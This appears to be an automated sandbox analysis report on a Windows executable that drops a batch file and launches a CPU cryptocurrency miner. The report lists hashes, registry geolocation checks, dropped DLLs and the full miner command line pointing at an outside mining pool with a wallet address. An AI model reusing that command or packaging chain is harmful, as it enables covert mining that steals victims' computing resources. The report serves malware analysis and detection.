73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 14:39

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2332	b2e.exe
4624	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4624	cpuminer-sse2.exe
4624	cpuminer-sse2.exe
4624	cpuminer-sse2.exe
4624	cpuminer-sse2.exe
4624	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4436-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 2332	4436	batexe.exe	87
PID 4436 wrote to memory of 2332	4436	batexe.exe	87
PID 4436 wrote to memory of 2332	4436	batexe.exe	87
PID 2332 wrote to memory of 3040	2332	b2e.exe	88
PID 2332 wrote to memory of 3040	2332	b2e.exe	88
PID 2332 wrote to memory of 3040	2332	b2e.exe	88
PID 3040 wrote to memory of 4624	3040	cmd.exe	91
PID 3040 wrote to memory of 4624	3040	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Users\Admin\AppData\Local\Temp\5A36.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5A36.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A36.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5D62.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5A36.tmp\b2e.exe

Filesize
24.6MB

MD5
0f00754d8cae85f191c5066d09cecedb

SHA1
2d3192f8927e85a31bbea714e3f16ef89e9f2b4f

SHA256
50999b2ca3aaa12230c5134a176f2ab14746cbef48e7a022ca54cc3d68fb6c13

SHA512
9b8f103f5e16f7413c98d45a3790229f2da5468a23a126ab64ad24c4fba64c62a20eadd48d86b01fbf7d74e29554df7c8a06a62ff01c42a345a7e4f4bd6f3218

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A36.tmp\b2e.exe

Filesize
10.1MB

MD5
6ac39aa6653f3613c39c0719af7ed20d

SHA1
681c6d86c62f1e31757ce509d305064f9b9a43b0

SHA256
3226e46d73436a92dd548317489e13401eadec08bbeade93873522311be7fd48

SHA512
d13bfeb6e8489fb88aa2ab6a2973537d081943abec8ad9cccf038c4a483b6520555c9517fb74bff2fcd0efab01786fa20bfc2b08a6375ab31f2485b1c3efd45f

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A36.tmp\b2e.exe

Filesize
9.6MB

MD5
18a723e89b404cd2c7540c7c9319b363

SHA1
d464204fd3f750dfcad841f9f6479f1acb7f189f

SHA256
dc3b8b39ee25cd50f5d850de39e5544a019a635afde371f5259e0c09f14bcc9c

SHA512
b716b5b8566c5603c3c00a1ac68b5fd079518bd21cf9ab3b7893f1f3aeced8f9ed42484fc06f14782a06fd4c7830ec32c344d1604383c9d452dee87c29d3e459

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D62.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
c42decf54d0546873b5f26fc1bf51eae

SHA1
cda34ddefa63f72e6c3992aba64c664eba8e40a3

SHA256
4f03453c0047f3892a2d415cd89bc1e74fff622b23863419d994ef61ae612683

SHA512
dc490f9ab1c8098d2edb7874d136f3e98f9e46700f118d1c9a85f165230d96a85cef3f411a6798b0ea8c0d045f6d2c707734310996e3e337c978b628ec7ba832

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
4725510c47316a7f86b39c08d0a6c197

SHA1
436540f94969b934953aa6c4fabf7306cccf682a

SHA256
a40d793074fcc8d77eb29a3e3492cb553d1fa7986b8f9baa87778e13b137b1e1

SHA512
710a72ed773be382226609e9699c6467736f8bd5f7af3d393ba2f7123474478552f7029648c2ba0a8da8a352fcf24f54268355923e315b664442f2efe2fc5088

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
fc486d037805638951a1099969382b78

SHA1
4f8d238c058f1f18e77e0282d21caf6a03d4a970

SHA256
219a03304ec9fbd96b0128bb8bd4b56e1718b44adbd3993ee8050a72a1af5972

SHA512
09d5c0e839ad1b20017362c7516dece64c13652c2e364693ba4b89b1a771cd94c2ab7c03310e82c89ca89af966f7f3a0e868ac9f3e02d167ad09bb0b1c5f5be5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2332-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2332-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4436-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4624-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4624-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-46-0x000000006DDE0000-0x000000006DE78000-memory.dmp

Filesize
608KB

Download
memory/4624-47-0x0000000000E10000-0x00000000026C5000-memory.dmp

Filesize
24.7MB

Download
memory/4624-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4624-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download